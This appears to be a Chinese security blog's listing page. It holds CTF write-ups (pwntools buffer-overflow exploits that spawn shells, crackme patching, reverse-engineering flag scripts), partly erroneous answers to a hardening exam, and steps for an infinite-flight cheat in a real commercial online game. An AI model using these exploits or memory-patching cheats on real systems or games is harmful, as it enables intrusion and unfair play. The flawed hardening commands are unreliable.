首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,538 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
25
篇与
的结果
2022-12-03
【CTF解题】BUUCTF Pwn篇
简介Pwn 二进制漏洞挖掘 ( 建立在二进制逆向的基础之上 ),在CTF比赛中Pwn题的目标是拿到flag,一般是在linux平台下通过二进制/系统调用等方式编写漏洞利用脚本 exp 来获取对方服务器的 shell,然后get到flag。环境准备首先用 Python 来编写exp,对于pwn最常用的模块就是 pwntools,可以用以下命令进行安装模块,更多使用方式可以自行查看 pwntools 帮助文档。pip install pwntools基本使用from pwn import * context.log_level = "debug" local = True if local: io = remote("node4.buuoj.cn", 29248) # 向目标主机,对应端口发送连接 else: io = process("./pwn1") # 本地进行连接调试 payload = "a" * (0xf + 8) + p64(0x401187) # 填充之后,覆盖返回地址,p32, p64打包为二进制;u32, u64解包为二进制 io.sendline(payload) # 发送编写的恶意代码 io.interactive() # 与远程服务器中的 shell 交互得到控制权# 发送 payload p.send(payload) #发送 payload p.sendline(payload) #发送 payload,并进行换行(末尾\n) p.sendafter(some_string, payload) #接收到 some_string 后, 发送你的 payload p.sendlineafter(some_string, payload) #接收到 some_string 后, 发送你的 payload,加个换行# 接收返回内容 p.recvn(N) #接受 N(数字) 字符 p.recvline() #接收一行输出 p.recvlines(N) #接收 N(数字) 行输出 p.recvuntil(some_string) #接收到 some_string 为止 p.interactive() #直接进行交互,相当于回到shell的模式,一般在取得shell之后使用 asm(shellcraft.sh()) # 生成 shellcodeELF# 首先需要 elf=ELF('./filename') 来产生一个对象 elf.symbols['a_function'] #找到 a_function 的地址 elf.got['a_function'] #找到 a_function的 got elf.plt['a_function'] #找到 a_function 的 plt elf.next(e.search("some_characters")) #找到包含 some_characters 可以是字符串,汇编代码或者某个数值的地址pwn1RELRO (Read-Only Relocations):该特性可防止对全局偏移量表(GOT)的篡改。开启 RELRO 保护后,动态链接器会将 GOT 设置为只读,从而防止攻击者利用 GOT 漏洞攻击程序。 Stack Canary:该特性是一种堆栈保护机制,可防止栈溢出攻击。当开启栈保护时,程序会在函数返回地址附近放置一个栈保护(canary)值。如果该值被篡改,程序会异常终止,防止栈溢出攻击。 NX (Non-Executable Stack):该特性可防止在程序的栈段执行恶意代码。开启 NX 保护后,程序的栈段不允许执行代码,从而防止栈溢出攻击中植入的 shellcode 执行。 PIE (Position Independent Executable):该特性使程序的代码位置随机化,增加攻击者预测代码位置的难度,从而防止有效攻击。 RWX (Read-Write-Execute):该属性使得程序的部分区域拥有可读、可写、可执行的权限,但同时也会增加程序的安全风险。 尝试运行下程序,看下是否存在缓冲区溢,随便输入字符 a 给它填充,发现果然有问题。直接进IDA看看吧,一进来就看到这个程序的主入口,里面的代码写的很简单这个题目比较经典。在这里先确定一下,多少个字节才会溢出,点击s进去查看一下,发现是F那么就是15个字节,只要溢出15个字符并把要跳转的内存地址打进去,就能拿下它了。可以看到 /bin/bash 字符串的地址是在 0x40186,我们需要让程序执行到这个地址上,现在已经知道了缓冲区的长度限制为 64 个字节,可以利用这个限制构造出一个恰好溢出到 rip 寄存器,来实现程序控制流转移到 /bin/bash 字符串的地址上,好开始编写exp。尝试利用漏洞进行攻击之前,可以在本地对漏洞进行调试,确保我们的攻击代码的正确性。根据提供的信息,可以将"很明显成功了"更明确地表达为"根据本地调试的结果,可以确定攻击成功"。from pwn import * local = True if local: io = remote("node4.buuoj.cn", 4462) else: io = process('./pwn1') offset = 0xF + 8 payload = offset * b'a' + p64(0x0040118A) io.sendline(payload) io.interactive()flag{7af2d36e-c44d-4b78-825b-bd53f7d0ba96}pwn2尝试运行下程序,发现程序给出了一个带有地址的提示,暂时不用管这个,直接输入"a"来进行测试,发现程序是存在缓冲区溢出的。直接打开IDA反编译软件,打开要分析的程序,直接使用快捷键"F5",查看程序伪代码,经过观察发现,在sprintf函数中有一个名为sub_40060D的函数,我们可以双击该函数,进入其中查看其具体实现内容根据分析结果,可以发现返回的操作是用来查看文本内容的,而查看的内容正是我们想要的flag。接着查看v5变量的容量,发现只有64个字节,而代码中没有做长度限制的处理,好直接开始编写代码。这段代码的过程相对简单,主要是找到需要填充覆盖的位置,使其溢出,然后跳转到我们想要执行的代码地址上。from pwn import * local = True if local: io = remote("node4.buuoj.cn", 29836) else: io = process("./pwn2") payload = b"a" * 72 + p64(0x40060d) io.sendline(payload) io.interactive()flag{4abacf48-1539-4a8a-a595-03cf349c6ff5}ciscn_2019_n_1main 函数里调用了 func(),func中存在经典 gets() 漏洞,这题逻辑就是输入v1,但判断v2的值是否是11.28125,既然题目判断 v2 的值,那么我们将 v2 的值覆盖成 11.28125 就行了,11.28125 = 0x41348000from pwn import * local = True if local: io = remote("node4.buuoj.cn", 56120) else: io = process("./ciscn_2019_n_1") payload = b"a" * (0x30 - 0x4) + p64(0x41348000) io.send(payload) io.interactive()flag{5914b0d1-405f-4a5c-b3ea-dc820214342d}算数题#include <stdio.h> #include <stdlib.h> #include <signal.h> #include <time.h> #include <unistd.h> void handler(int signum){ puts("Timeout"); _exit(1); } int main() { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); signal(SIGALRM, handler); alarm(90); unsigned seed = (unsigned)time(NULL); srand(seed); unsigned int magic; printf("Give me the magic number :)\n"); read(0, &magic, 4); if (magic != 3735928559) { printf("Bye~\n"); exit(0); } printf("Complete 1000 math questions in 90 seconds!!!\n"); for (int i = 0; i < 1000; ++i) { int a = random() % 65535; int b = random() % 65535; int c = random() % 3; int ans; switch(c) { case 0: printf("%d + %d = ?", a, b); scanf("%d", &ans); if (ans != a + b) { printf("Bye Bye~\n"); exit(0); } break; case 1: printf("%d - %d = ?", a, b); scanf("%d", &ans); if (ans != a - b) { printf("Bye Bye~\n"); exit(0); } break; case 2: printf("%d * %d = ?", a, b); scanf("%d", &ans); if (ans != a * b) { printf("Bye Bye~\n"); exit(0); } break; } } printf("Good job!\n"); system("sh"); return 0; }这题考察如何利用Pwntools进行交互式,自动答题并获取到shell。from pwn import * io = process('./pwntools') io.recvuntil('number :)\n') p = p32(0xDEADBEEF) io.send(p) io.recvline() for _ in range(1000): q = io.recvuntil('= ?').decode().replace('= ?', '') io.sendline(str(eval(q))) io.interactive()
2022年12月03日
68 阅读
0 评论
6 点赞
2022-11-15
【CTF解题】2022湖南省网络安全竞赛A卷解题
简介1.这套题是湖南省第一届职业技能大赛 网络安全竞赛 模块A样题,我只做下安全部分的题目。任务二:系统及应用加固对windows、linux服务器按要求进行相应的设置,提高服务器的安全性。 (一)Windows、linux登录安全加固:1.密码策略(windows、liunx)(1)最小密码长度不少于8个字符、密码最短使用期限30天;(2)密码策略必须同时满足大小写字母、数字、特殊字符;2.登录策略(1)用户登录服务器系统时,应该有警告标题“warning”内容为“For authorized users only”提示信息(windows);(2)设置账户锁定阈值为 6 次错误锁定账户,锁定时间为 1 分钟,复位账户锁定计数器为 1 分钟之后(windows);(3)一分钟内仅允许5次登录失败的尝试,超过5次登录帐号锁定5分钟(linux);3.用户安全管理(Windows)(1)在组策略中只允许管理员账号从网络访问本机;(2)禁止发送未加密的密码到第三方 SMB 服务器; (2)查找并删除服务器中可能存在的后门用户账户hacker。(二)数据库加固(linux)1.删除默认数据库(test); 2.改变默认MySql管理员用户为:SuperRoot; 3.使用MySql内置MD5加密函数加密用户user1的密码为(P@ssw0rd1!);4.赋予user1用户对数据库所有表只有select、insert、delete、update权限;5.对忘记mysql数据库SuperRoot管理员密码进行重置操作。系统及应用加固1.最小密码长度不少于8个字符、密码最短使用期限30天;(Windows)1.1最小密码长度不少于8个字符、密码最短使用期限30天;(Linux)vi /etc/login.defs1.2密码策略必须同时满足大小写字母、数字、特殊字符;(Windows)1.3密码策略必须同时满足大小写字母、数字、特殊字符;(Linux)vi /etc/pam.d/system-authpassword requisite pam_cracklib.so try_first_pass retry=3 type= ucredit=-1 lcredit=-1 dcredit=-1 ocredit=-1 // 参数细解 retry // 尝试次数 difok // 最小不同字符 dcredit // 数字个数 ocredit // 特殊字符个数 ucredit // 大写字母个数 lcredit // 小写字母个数 minlen // 最小长度1.4用户登录服务器系统时,应该有警告标题 "warning" 内容为 "For authorized users only" 提示信息(windows);1.5用户登录服务器系统时,应该有警告标题 "warning" 内容为 "For authorized users only" 提示信息(Linux);vi /etc/issue // 这个文件是Linux系统开机启动时在命令行界面弹出的欢迎语句文件。init 3 // 验证欢迎语1.6设置账户锁定阈值为 6 次错误锁定账户,锁定时间为 1 分钟,复位账户锁定计数器为 1 分钟之后(windows);1.7一分钟内仅允许5次登录失败的尝试,超过5次登录帐号锁定5分钟(Linux);vi /etc/pam.d/login // 编辑登录限制auth required pam_tally2.so deny=3 unlock_time=5 even_deny_root root_unlock_time=51.8在组策略中只允许管理员账号从网络访问本机。1.9禁止发送未加密的密码到第三方 SMB 服务器(windows)1.10查找并删除服务器中可能存在的后门用户账户hacker(windows)1.11删除默认数据库(test); (Linux)drop database test;1.12改变默认MySql管理员用户为:SuperRoot; (Linux)rname user 'root'@'localhost' TO 'SuperRoot'@'localhost';1.13使用MySql内置MD5加密函数加密用户user1的密码为(P@ssw0rd1!)update mysql.user set password=md5('P@ssw0rd1!') where user='user1';1.14赋予user1用户对数据库所有表只有select、insert、delete、update权限grant select, insert, delete, update on database_name.* to 'user1'@'localhost';1.15对忘记mysql数据库SuperRoot管理员密码进行重置操作vi /etc/my.cnf // 编辑配置 进入配置添加以下 skip-grant-tables // 设置跳过 service mysqld restart // 重启服务 mysql // 输入直接进 use mysql; // 选择mysql update user set password=password('208522') where user='SuperRoot'; // 设置新密码 flush privileges; // 刷新
2022年11月15日
294 阅读
0 评论
10 点赞
2022-11-02
此内容被密码保护
加密文章,请前往内页查看详情
2022年11月02日
186 阅读
0 评论
11 点赞
2022-10-21
【CTF解题】吾爱破解 Crackme 逆向破解
解题1.在吾爱上看到一篇新帖Crackme,既然还没人解题就让我来试下吧。2.观察下要输入正确的账号密码,才会有成功的提示,注意这里有关键字 "登录失败",可以作为突破口。3.先查软件看下有没有壳,可以看到没有壳,直接用OD打开看下。4.题目说了是易语言写的,直接搜401000这个地址直接跳到程序代码初始头。5.按我的思路肯定先搜索一遍字符串,看看有没有账号和密码。6.我们观察一遍可以看到,有好几个账号密码错误,都可以进去看看,这里我就不卖关子了账号和密码都是 "1",是不是觉得很简单这么玩就没意思了,试着跟下错误的提示修改下输入错误的账号密码,也能执行正确的代码段。破解分析int MessageBox( HWND hWnd, // 窗口句柄 LPCTSTR lpText, // 要显示的消息 LPCTSTR lpCaption, // 对话框标题 UINT uType ); // 函数参数 hWnd 类型:HWND 要创建的消息框的所有者窗口的句柄。如果此参数为NULL,则消息框没有所有者窗口。 lpText 类型:LPCTSTR 要显示的消息。如果字符串由多行组成,则可以使用每行之间的回车符和/或换行符分隔行。 lpCaption 类型:LPCTSTR 对话框标题。如果此参数为NULL,则默认标题为“ 错误”。 uType 输入:UINT 对话框的内容和行为。此参数可以是来自以下标志组的标志的组合。 要指示消息框中显示的按钮,请指定以下值之一。7.MessageBox是kernel32.dll里的函数,他的作用是给我们显示一个窗口提示框,在我们做的任何操作在windows里都会有消息事件,而这些事件都是基于windows给我们提供的api,有这些东西我们就可以编写更强大的功能,也能够更好的驱动硬件。突破点系统api下断点调试 如:MessageBox GetWindowText找关键字提示 如:正确或错误提示 办法还是有很多的00402AB7 /0F84 41000000 je iwong.00402AFE // 这是突破的关键je 是反汇编的判断 00402ABD |. |6A 00 push 0x0 00402ABF |. |6A 00 push 0x0 00402AC1 |. |6A 00 push 0x0 00402AC3 |. |68 04000080 push 0x80000004 // push是往栈压入参数,会有些图标id 00402AC8 |. |6A 00 push 0x0 00402ACA |. |68 998A4900 push iwong.00498A99 ; 登录成功 00402ACF |. |68 01030080 push 0x80000301 00402AD4 |. |6A 00 push 0x0 00402AD6 |. |68 00000000 push 0x0 00402ADB |. |68 04000080 push 0x80000004 00402AE0 |. |6A 00 push 0x0 00402AE2 |. |68 998A4900 push iwong.00498A99 ; 登录成功 00402AE7 |. |68 04000000 push 0x4 00402AEC |. |BB F0324000 mov ebx,iwong.004032F0 00402AF1 |. |E8 1E010000 call iwong.00402C14 // 调用了登录成功提示 00402AF6 |. |83C4 34 add esp,0x34 00402AF9 |. |E9 3C000000 jmp iwong.00402B3A // 返回不执行下一行代码块 00402AFE |> \6A 00 push 0x0 00402B00 |. 6A 00 push 0x0 00402B02 |. 6A 00 push 0x0 00402B04 |. 68 04000080 push 0x80000004 00402B09 |. 6A 00 push 0x0 00402B0B |. 68 A28A4900 push iwong.00498AA2 ; 登录失败 00402B10 |. 68 01030080 push 0x80000301 00402B15 |. 6A 00 push 0x0 00402B17 |. 68 00000000 push 0x0 00402B1C |. 68 04000080 push 0x80000004 00402B21 |. 6A 00 push 0x0 00402B23 |. 68 A28A4900 push iwong.00498AA2 ; 登录失败 00402B28 |. 68 04000000 push 0x4 00402B2D |. BB F0324000 mov ebx,iwong.004032F0 00402B32 |. E8 DD000000 call iwong.00402C14 // 调用了登录失败提示 00402B37 |. 83C4 34 add esp,0x34 00402B3A |> 8BE5 mov esp,ebp 00402B3C |. 5D pop ebp 00402B3D \. C2 0400 retn 0x48.看不懂的话建议先学汇编基础,学起来不是很难的。9.这里我OD运行不了我换了下x32dbg,将402AB7这个地址je给nop掉就行,jne、jmp都是可以的,这样代码就会从402AB7开始走到正确的提示,输入错误的账号密码也是一样的。10.完工,比较简单的一道题。
2022年10月21日
281 阅读
0 评论
7 点赞
2022-10-10
【CTF解题】攻防世界逆向篇
Mysterious解题题目难度:2题目描述:自从报名了CTF竞赛后,小明就辗转于各大论坛,但是对于逆向题目仍是一知半解。有一天,一个论坛老鸟给小明发了一个神秘的盒子,里面有开启逆向思维的秘密。小明如获至宝,三天三夜,终于解答出来了,聪明的你能搞定这个神秘盒子么?(答案为flag{XXX}形式)1.是个带GUI的程序,提示让我们输入正确的密码,才会有flag吧先用IDA看下。2.打开后按F5进入伪代码,然后双击进入WinMian函数内。3.我看过了在这个函数里,相关函数自行百度哦本文章不细讲。4.再进一层,就看到主代码了。int __stdcall sub_401090(HWND hWnd, int a2, int a3, int a4) { char v5; // [esp+50h] [ebp-310h] CHAR Text[4]; // [esp+154h] [ebp-20Ch] char v7; // [esp+159h] [ebp-207h] __int16 v8; // [esp+255h] [ebp-10Bh] char v9; // [esp+257h] [ebp-109h] int v10; // [esp+258h] [ebp-108h] CHAR String; // [esp+25Ch] [ebp-104h] char v12; // [esp+25Fh] [ebp-101h] char v13; // [esp+260h] [ebp-100h] char v14; // [esp+261h] [ebp-FFh] memset(&String, 0, 0x104u); v10 = 0; if ( a2 == 16 ) { DestroyWindow(hWnd); PostQuitMessage(0); } else if ( a2 == 273 ) { if ( a3 == 1000 ) { GetDlgItemTextA(hWnd, 1002, &String, 260); strlen(&String); if ( strlen(&String) > 6 ) ExitProcess(0); v10 = atoi(&String) + 1; if ( v10 == 123 && v12 == 120 && v14 == 122 && v13 == 121 ) { strcpy(Text, "flag"); memset(&v7, 0, 0xFCu); v8 = 0; v9 = 0; _itoa(v10, &v5, 10); strcat(Text, "{"); strcat(Text, &v5); strcat(Text, "_"); strcat(Text, "Buff3r_0v3rf|0w"); strcat(Text, "}"); MessageBoxA(0, Text, "well done", 0); } SetTimer(hWnd, 1u, 0x3E8u, TimerFunc); } if ( a3 == 1001 ) KillTimer(hWnd, 1u); } return 0; }5.itoa函数的作用是把整数转换成字符串,相当于 v10 给了v5所以等于 123,strcat是字符拼接,所以拼接起来就是了。flag{123_Buff3r_0v3rf|0w}insanity解题题目难度:3题目描述: 菜鸡觉得前面的题目太难了,来个简单的缓一下1.都提示了,肯定不会很难先用记事本看下,搜索flag好家伙直接发现了,还是用IDA看下内部。2.用IDA打开,先看main函数F5进入伪代码,当然你也可以分析反汇编代码。3.直接见flag,提交下看看。flag:9447{This_is_a_flag}Shuffle解题题目难度:21.直接用IDA打开,一般题目都不加壳,能看到main主函数就没壳,题目有说找到字符串在随机化之前,意思就是字符在之前是完整的,之后就会加密打乱什么的。2.说明flag在之前不会加密,运行初始化之后才会加密,我们先进入main函数分析下,看了会那些字符就是了,通过转ASCII拼接就是完整flag,开始写脚本。byte = [ 83, 69, 67, 67, 79, 78, 123, 87, 101, 108, 99, 111, 109, 101, 32, 116, 111, 32, 116, 104, 101, 32, 83, 69, 67, 67, 79, 78, 32, 50, 48, 49, 52, 32, 67, 84, 70, 33, 125 ] for i in range(len(byte)): print(chr(byte[i]) ,end="")flag:SECCON{Welcome to the SECCON 2014 CTF!}3.直接在IDA转换char也是可以的,自己拼接上就行。simple-unpack解题题目难度:31.题目有说过加壳了,先查壳是个UPX压缩壳,UPX自带脱壳的参数 -d 就是了,先脱个壳先,从信息看到是个64位ELF文件,用64位IDA(废话)。2.脱好壳再查看下,没壳了可以用IDA分析了。3.不用分析了,直接见flag。4.后面用文本查看也可以见flag。Game解题题目难度:31.老规矩查壳,看下木有壳扔IDA分析下。2.其实直接运行按顺序输入1-8的数,就出现flag了,目的似乎达到了,但还是想看下内部逆向下先。3.找到主函数 main,搜索下就好了,再按F5生成伪代码。4.双击进入main_0函数看下。5.找关键,我看过了在这个函数里sub_457AB4()6.再进一层双击进入sub_45E940()函数里,在这里面。7.一直往下翻,可以看到关键进行运算代码段,v2,v58进行两次异或处理 v59,v115 进行异或 再与0x13异或,flag 应该是和v2,v58的字符变量有关。{collapse}{collapse-item label="伪代码"}sub_45A7BE((int)"done!!! the flag is ", v1); v60 = 18; v61 = 64; v62 = 98; v63 = 5; v64 = 2; v65 = 4; v66 = 6; v67 = 3; v68 = 6; v69 = 48; v70 = 49; v71 = 65; v72 = 32; v73 = 12; v74 = 48; v75 = 65; v76 = 31; v77 = 78; v78 = 62; v79 = 32; v80 = 49; v81 = 32; v82 = 1; v83 = 57; v84 = 96; v85 = 3; v86 = 21; v87 = 9; v88 = 4; v89 = 62; v90 = 3; v91 = 5; v92 = 4; v93 = 1; v94 = 2; v95 = 3; v96 = 44; v97 = 65; v98 = 78; v99 = 32; v100 = 16; v101 = 97; v102 = 54; v103 = 16; v104 = 44; v105 = 52; v106 = 32; v107 = 64; v108 = 89; v109 = 45; v110 = 32; v111 = 65; v112 = 15; v113 = 34; v114 = 18; v115 = 16; v116 = 0; v3 = 123; v4 = 32; v5 = 18; v6 = 98; v7 = 119; v8 = 108; v9 = 65; v10 = 41; v11 = 124; v12 = 80; v13 = 125; v14 = 38; v15 = 124; v16 = 111; v17 = 74; v18 = 49; v19 = 83; v20 = 108; v21 = 94; v22 = 108; v23 = 84; v24 = 6; v25 = 96; v26 = 83; v27 = 44; v28 = 121; v29 = 104; v30 = 110; v31 = 32; v32 = 95; v33 = 117; v34 = 101; v35 = 99; v36 = 123; v37 = 127; v38 = 119; v39 = 96; v40 = 48; v41 = 107; v42 = 71; v43 = 92; v44 = 29; v45 = 81; v46 = 107; v47 = 90; v48 = 85; v49 = 64; v50 = 12; v51 = 43; v52 = 76; v53 = 86; v54 = 13; v55 = 114; v56 = 1; v57 = 117; v58 = 126; v59 = 0; for ( i = 0; i < 56; ++i ) { *(&v3 + i) ^= *(&v60 + i); *(&v3 + i) ^= 0x13u; } return sub_45A7BE((int)"%s\n", (unsigned int)&v3); }{/collapse-item}{/collapse}解题代码byte1 = [ 123,32,18,98,119,108,65,41,124,80,125,38,124,111,74,49,83,108,94,108,84,6,96,83,44,121,104,110,32,95,117,101,99,123,127,119,96,48,107,71,92,29,81,107,90,85,64,12,43,76,86,13,114,1,117,126,0 ] byte2 = [ 18, 64, 98, 5, 2, 4, 6, 3, 6, 48, 49, 65,32, 12, 48, 65, 31, 78, 62, 32, 49, 32, 1,57, 96, 3, 21, 9, 4, 62, 3, 5, 4, 1, 2, 3,44, 65, 78, 32, 16,97,54,16,44,52,32,64,89, 45,32,65,15,34,18,16,0 ] for i in range(len(byte1)): ch = chr(byte1[i]^byte2[i]^0x13) print(ch,end="")flag:zsctf{T9is_tOpic_1s_v5ry_int7resting_b6t_others_are_n0t}Hello CTF解题题目难度:41.老规矩看下有壳没,没壳直接拖入IDA进行分析。2.运行后是要求输入正确的flag,我们肯定是没有的需要逆向出来,这些提示就是突破的关键,用IDA打开发现是个32位程序,直接进main函数分析。3.按F5进入伪代码,找关键代码做突破口。int __cdecl main(int argc, const char **argv, const char **envp) { int i; // ebx char v4; // al int result; // eax int v6; // [esp+0h] [ebp-70h] int v7; // [esp+0h] [ebp-70h] char Buffer[2]; // [esp+12h] [ebp-5Eh] BYREF char v9[20]; // [esp+14h] [ebp-5Ch] BYREF char v10[32]; // [esp+28h] [ebp-48h] BYREF __int16 v11; // [esp+48h] [ebp-28h] char v12; // [esp+4Ah] [ebp-26h] char v13[36]; // [esp+4Ch] [ebp-24h] BYREF strcpy(v13, "437261636b4d654a757374466f7246756e"); while ( 1 ) { memset(v10, 0, sizeof(v10)); // 对v10进行了初始化 v11 = 0; v12 = 0; sub_40134B(aPleaseInputYou, v6); scanf("%s", v9); if ( strlen(v9) > 0x11 ) break; for ( i = 0; i < 17; ++i ) { v4 = v9[i]; if ( !v4 ) break; sprintf(Buffer, "%x", v4); strcat(v10, Buffer); // 进行了拼接处理 } if ( !strcmp(v10, v13) ) // 进行了字符串比较,如果v10的值等于v13的值会输出Success sub_40134B(aSuccess, v7); else sub_40134B(aWrong, v7); } sub_40134B(aWrong, v7); result = --Stream._cnt; if ( Stream._cnt < 0 ) return _filbuf(&Stream); ++Stream._ptr; return result; }4.v13的值已经在strcpy这里出现了 437261636b4d654a757374466f7246756e,现在只要知道v10是怎么出来的就行,往上开始分析,分析结果:依次取出用户输入字符串的字符,把字符值的 ASCII 码值转成 16 进制的形式拼接到v10中,v10的值等于v13的值,需将字符串v13中的值两个一组,当作16进制的值,换算成ASCII码并转成对应的字符即可,这样就得到了flag,没有多复杂就看做是把 437261636b4d654a757374466f7246756e 转换成字符串。解题代码str1 = "437261636b4d654a757374466f7246756e" gather = "" count = 0 while count < len(str1): gather += chr(int(str1[count:count + 2], 16)) count += 2 print(gather)flag:CrackMeJustForFun动态调试1.ctrl + G 搜索 401000 跳到这个程序起始的代码段上,往下看。2.找到关键提示,正确和错误肯定就在下面了。3.找到了成功的代码段,和错误的代码段。4.好了再往上滑找到这个地址,401065 看到是个判断,我们在这里下断点。crackme解题题目难度:31.老规矩先查壳,有软件自动脱壳的工具,这里我手动脱下壳。2.可以发现用IDA看下什么都没有,main函数也没有只能脱壳在分析了,其实可以让软件运行起来附加内存,也是能看到脱壳后的代码的。ESP定律脱壳1.拖入软件因为有壳,我们不能运行,按F8单步到2下call这个地址上。2.右键ESP寄存器,下个硬件访问断点,下好了按F9运行。3.再按F8运行两次,会跳到这个jump指令指向00401336这个地址上 。4.右键选择分析,从模块中删除分析。5.再右键选择这个脱壳选项。6.开始脱壳然后保存壳就脱了。静态分析1.可以发现这是我脱好壳的程序,能看到main函数了代码也完整了,可以进一步分析了。2.按F5查看伪代码,进入byte_402130这个函数里看下。3.观察while循环可以发现,(&Buf + v4) ^ byte_402130[v4 % 16]),什么和什么异或了进入函就是这些。解题代码str1="this_is_not_flag" byte=[0x12, 4, 8, 0x14, 0x24, 0x5C, 0x4A, 0x3D, 0x56, 0x0A, 0x10, 0x67, 0, 0x41, 0, 1, 0x46, 0x5A, 0x44, 0x42, 0x6E, 0x0C, 0x44, 0x72, 0x0C, 0x0D, 0x40, 0x3E, 0x4B, 0x5F, 2, 1, 0x4C, 0x5E, 0x5B, 0x17, 0x6E, 0x0C, 0x16, 0x68, 0x5B, 0x12] flag="" for i in range(len(byte)): flag+=chr(byte[i]^ord(str1[i%16])) print(flag)flag{59b8ed8f-af22-11e7-bb4a-3cf862d1ee75}IgniteMe解题题目难度:21.让你输入正确的flag,先用IDA静态分析下。2.PE查壳工具看下有没有壳,看到是.txt并没有,一般我直接拖入IAD分析,查不查壳都一样,C++ 写的目测是易语言。3.百度下就知道是32位的,用32位的IDA打开进行分析。4.找到关键成功的地方,发现判断的对象是sub_4011C0(),如果等于真就成立执行成功的代码,我们可以进sub_4011C0()这个函数内看看,写的是什么逻辑。5.把数组中大写字母转为小写字母,小写字母转为大写字母。然后把数组与0x55异或后+72,然后再与数组byte_4420B0异或,和GONDPHyGjPEKruv{{pj]X@rF进行比较,判断出执行结果为GONDPHyGjPEKruv{{pj]X@rF,如果相同则正确。bytes = [ 13, 19, 23, 17, 2, 1, 32, 29, 12, 2, 25, 47, 23, 43, 36, 31, 30, 22, 9, 15, 21, 39, 19, 38, 10, 47, 30, 26, 45, 12, 34, 4 ] v7 = [] str2 = 'GONDPHyGjPEKruv{{pj]X@rF' band = '' for i in range(24): v7.append(bytes[i] ^ ord(str2[i])) v7[i] = (v7[i] - 72) ^ 0x55 band = band + chr(v7[i]).lower() print("EIS{%s}" % band)flag: EIS{wadx_tdgk_aihc_ihkn_pjlm}lucknum解题题目难度:11.没有后缀的文件,直接用IDA打开看看,加载的时候发现是个64位程序,进入直接F5查看伪代码,直接见flag,解毕!1000Click解题题目难度:1最简单的一个逆向题目,软件运行不破解点1000次也可以获得flag,但这样太不符合我的习惯,逆向不走常规路。方法11.利用cheat engine 修改内存点击次数到999方法21.利用OD根据错误提示找反汇编代码 push压栈 就是flag2.也可以用过IDA进行逆向分析,解毕!
2022年10月10日
412 阅读
0 评论
67 点赞
2022-10-01
【每日随记】天涯明月刀无限飞修改思路
官方公告亲爱的少侠,近日我们接到部分少侠举报在馥郁之战、修罗城等场景有使用外挂的情形。对此我们进行了相应的数据核查,发现一批高度疑似使用对应脚本外挂的玩家,对此我们已对其进行不同程度的封号处理。我们欢迎各位少侠继续对于游戏内出现的疑似外挂相关情形进行举报和投诉,在核实后我们将坚决处理。处罚内容将根据具体情形进行判定,包括但不限于封号处罚、个人或者集体收益不同程度追回等等。同时,我们正在对游戏相关机制进行定位修复,尽快从源头上减少类似问题对各位少侠体验的影响。最后,感谢各位少侠为维护天刀游戏环境所做的贡献和支持。然后就封了一些账号,目测是被举报封的。躺着中枪天刀是企鹅的游戏,在9月1号我在B站发布过天刀无限飞天(可自由控制飞行),免费发放并没有盈利,游戏更新了脚本也不会随着游戏更新,可是过了不久就被盗了继续更新,9月30号无限飞天在修罗城,满天飞可想不被重视都难,经过调查我发现有一款叫馥郁的外挂里面,还有我发布的无限飞天功能,才会有后面的事端,我视频评论的人就多了我才注意到,感觉这些东西也没必要做,简单的搞了个功能发个视频图一乐,没必要搞这东西犯了事。1.显示同场他人位置坐标2.技能无CD3.可自由调整人物位置 (飞天)4.自身不可被他人选取和击中像这些功能,实现起来并不难,天刀官方在外挂防护方面还得花点心思。基本了解遇事不决可用 xdbg64、IDA、Cheat Engine 能搞定 90% 依赖本地计算的游戏问题。核心逻辑很简单:游戏数据计算分两种架构,直接决定了外挂能不能成。像 LOL 这类靠实时传输的游戏,核心数值(伤害、血量、段位)全由服务器权威计算,客户端只负责显示和提交操作,本地改内存、改数据毫无意义,服务器会直接校验覆盖,甚至封号;但老游戏不一样,比如 CF 这类早期作品,受限于引擎设计,大量核心逻辑(伤害判定、技能 CD、道具数量)都放在本地计算,仅把结果同步给服务器,也正因为这种架构漏洞,才滋生了各种变态数值挂。剩下 10% 得靠封包操作,但现在主流网游的数据包基本都是加密传输,不是明文,想解密的成本极高,基本不现实。能做的大多是模拟合法发包,本质就是脚本类工具,模拟玩家正常操作,算不上 “变态外挂”,对游戏平衡的破坏有限,但仍影响体验。写这篇不是想纠结技术细节,天刀曾经也是我很喜欢的游戏,希望官方能快点修复相关漏洞,守住游戏公平。实现步骤1.选择游戏进程,可以看到进程是有图标的,一般的CE是没图标的,要把CE提权到SYSTEM最高权限才会有图标,权限越大能做的事就越多。2.实现无限飞天肯定要从人物坐标,或者人物跳跃入手一开始我们并不知道跳跃的值,肯定先模糊搜索一遍,"跳跃搜增加落地搜减少,不跳搜未变动重复过滤到数量没有变化为止就可以开始分析了"。3.锁住这个数值可以发现跳不起来了,这个并不是我们要的值它可能跟跳跃状态有关,浏览下这个地址的内存找会变得数值,也可以在这地址上加上184就找到了下落地址。4.设置内存单浮点显示,然后人物跳跃观察内存找一个跳起来的值,跳起来是负数落地是0的数值,找到锁定它会发现人物下降速度会变慢。5.锁定了既然会变得缓慢降落,直接hook掉改写的代码就完事。6.尝试跳几下,在改写视图里会有显示,倒数第二个就是下降改下的代码段了,浏览反汇编看看。7.可以在反汇编窗口向上翻,找到jne这个判断,这里我直接从这个地址减214直接跳到关键代码上。8.把jne改je 或者直接nop 